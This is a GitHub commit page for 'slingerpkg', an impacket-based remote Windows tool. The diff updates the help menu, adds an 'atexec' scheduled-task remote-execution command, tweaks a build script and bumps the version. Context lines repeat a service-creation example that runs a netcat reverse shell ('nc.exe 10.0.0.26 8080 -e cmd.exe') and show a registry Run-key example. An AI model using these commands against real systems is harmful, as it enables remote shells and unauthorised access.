Skip to content

Commit

Permalink
updated help menu and build info
Browse files Browse the repository at this point in the history
  • Loading branch information
ghost-ng committed Feb 8, 2025
1 parent 27e8ece commit b678b77
Show file tree
Hide file tree
Showing 3 changed files with 65 additions and 13 deletions.
74 changes: 63 additions & 11 deletions HELP_MENU.md
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ Example Usage: ls /path/to/directory

### Arguments

- **`path`**: Path to list contents, defaults to current path
- **`path`**: Path to list contents, defaults to current path
- Default: `.`
- Required: No

Expand All @@ -59,7 +59,7 @@ Example Usage: ls /path/to/directory

**Help:**
```
shares [-h]
shares [-h] [-l]
List all shares available on the remote server
```

Expand All @@ -76,7 +76,7 @@ Example Usage: shares

**Help:**
```
shares [-h]
shares [-h] [-l]
List all shares available on the remote server
```

Expand Down Expand Up @@ -126,7 +126,7 @@ Example Usage: cd /path/to/directory

### Arguments

- **`path`**: Directory path to change to, defaults to current directory
- **`path`**: Directory path to change to, defaults to current directory
- Default: `.`
- Required: No

Expand Down Expand Up @@ -947,7 +947,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"
- **`displayname`**: Specify the display name of the new service
- Required: Yes

- **`starttype`**: Specify the start type of the new service
- **`starttype`**: Specify the start type of the new service
- Choices: auto, demand, system
- Default: `demand`
- Required: Yes
Expand Down Expand Up @@ -980,7 +980,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"
- **`displayname`**: Specify the display name of the new service
- Required: Yes

- **`starttype`**: Specify the start type of the new service
- **`starttype`**: Specify the start type of the new service
- Choices: auto, demand, system
- Default: `demand`
- Required: Yes
Expand Down Expand Up @@ -1013,7 +1013,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"
- **`displayname`**: Specify the display name of the new service
- Required: Yes

- **`starttype`**: Specify the start type of the new service
- **`starttype`**: Specify the start type of the new service
- Choices: auto, demand, system
- Default: `demand`
- Required: Yes
Expand Down Expand Up @@ -1046,7 +1046,7 @@ Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"
- **`displayname`**: Specify the display name of the new service
- Required: Yes

- **`starttype`**: Specify the start type of the new service
- **`starttype`**: Specify the start type of the new service
- Choices: auto, demand, system
- Default: `demand`
- Required: Yes
Expand Down Expand Up @@ -1500,7 +1500,7 @@ Example Usage: mget /remote/path /local/path
- **`p`**: Specify a regex pattern to match filenames
- Required: No

- **`d`**: Specify folder depth count for recursion
- **`d`**: Specify folder depth count for recursion
- Default: `2`
- Required: No

Expand Down Expand Up @@ -1727,7 +1727,7 @@ Example Usage: regset -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
- **`data`**: Specify the registry data to set
- Required: Yes

- **`type`**: Specify the registry type to set
- **`type`**: Specify the registry type to set
- Default: `REG_SZ`
- Required: No

Expand Down Expand Up @@ -2126,7 +2126,7 @@ Example Usage: counter -c 123 [-a x86]
- **`counter`**: Specify the counter to display
- Required: No

- **`arch`**: Specify the architecture of the remote server
- **`arch`**: Specify the architecture of the remote server
- Choices: x86, x64, unk
- Default: `unk`
- Required: No
Expand All @@ -2150,6 +2150,58 @@ Example Usage: network

---

## `atexec`

**Description:** Execute a command on the remote server

**Help:**
```
atexec [-h] -c COMMAND -sp PATH [-sn SAVE_NAME] -tn NAME [-ta AUTHOR] [-td DESCRIPTION] [-tf FOLDER] [-sh SHARE] [--shell] [-w WAIT]
Execute a command on the remote server
```

**Example Usage:**
```
Example Usage: atexec -tn "NetSvc" -sh C$ -sp \\Users\\Public\\Downloads\\ -c ipconfig
```

### Arguments

- **`command`**: Specify the command to execute
- Required: Yes

- **`path`**: Specify the folder to save the output file
- Default: `\Users\Public\Downloads\`
- Required: Yes

- **`save_name`**: Specify the name of the output file. Default is <random 8-10 chars>.txt
- Required: No

- **`name`**: Specify the name of the scheduled task
- Required: Yes

- **`author`**: Specify the author of the scheduled task
- Default: `Slinger`
- Required: No

- **`description`**: Specify the description of the scheduled task
- Default: `Scheduled task created by Slinger`
- Required: No

- **`folder`**: Specify the folder to run the task in
- Default: `\Windows`
- Required: No

- **`share`**: Specify the share name to connect to
- Default: `C$`
- Required: No

- **`wait`**: Seconds to wait for the task to complete
- Default: `1`
- Required: No

---

## `reload`

**Description:** Reload the current sessions context
Expand Down
2 changes: 1 addition & 1 deletion build_script.py
Original file line number Diff line number Diff line change
Expand Up @@ -62,7 +62,7 @@ def generate_markdown(commands, output_file):
if details['arguments']:
md_file.write("### Arguments\n\n")
for arg in details['arguments']:
md_file.write(f"- **`{arg['name']}`**: {arg['help'] or 'No description provided'}\n")
md_file.write(f"- **`{arg['name']}`**: {arg['help'] or 'No description provided'}\n".replace('(default: %(default)s)',''))
if arg['choices']:
md_file.write(f" - Choices: {', '.join(arg['choices'])}\n")
if arg['default'] is not None:
Expand Down
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"

[project]
name = "slingerpkg"
version = "1.3.1"
version = "1.4"
description = "An impacket swiss army knife (sort of)"
readme = "README.md"
dependencies = [ "impacket==0.11.0", "prompt_toolkit==3.0.41", "pycryptodome==3.20.0", "setuptools==70.0.0", "tabulate==0.8.9", "toml",]
Expand Down

0 comments on commit b678b77

Please sign in to comment.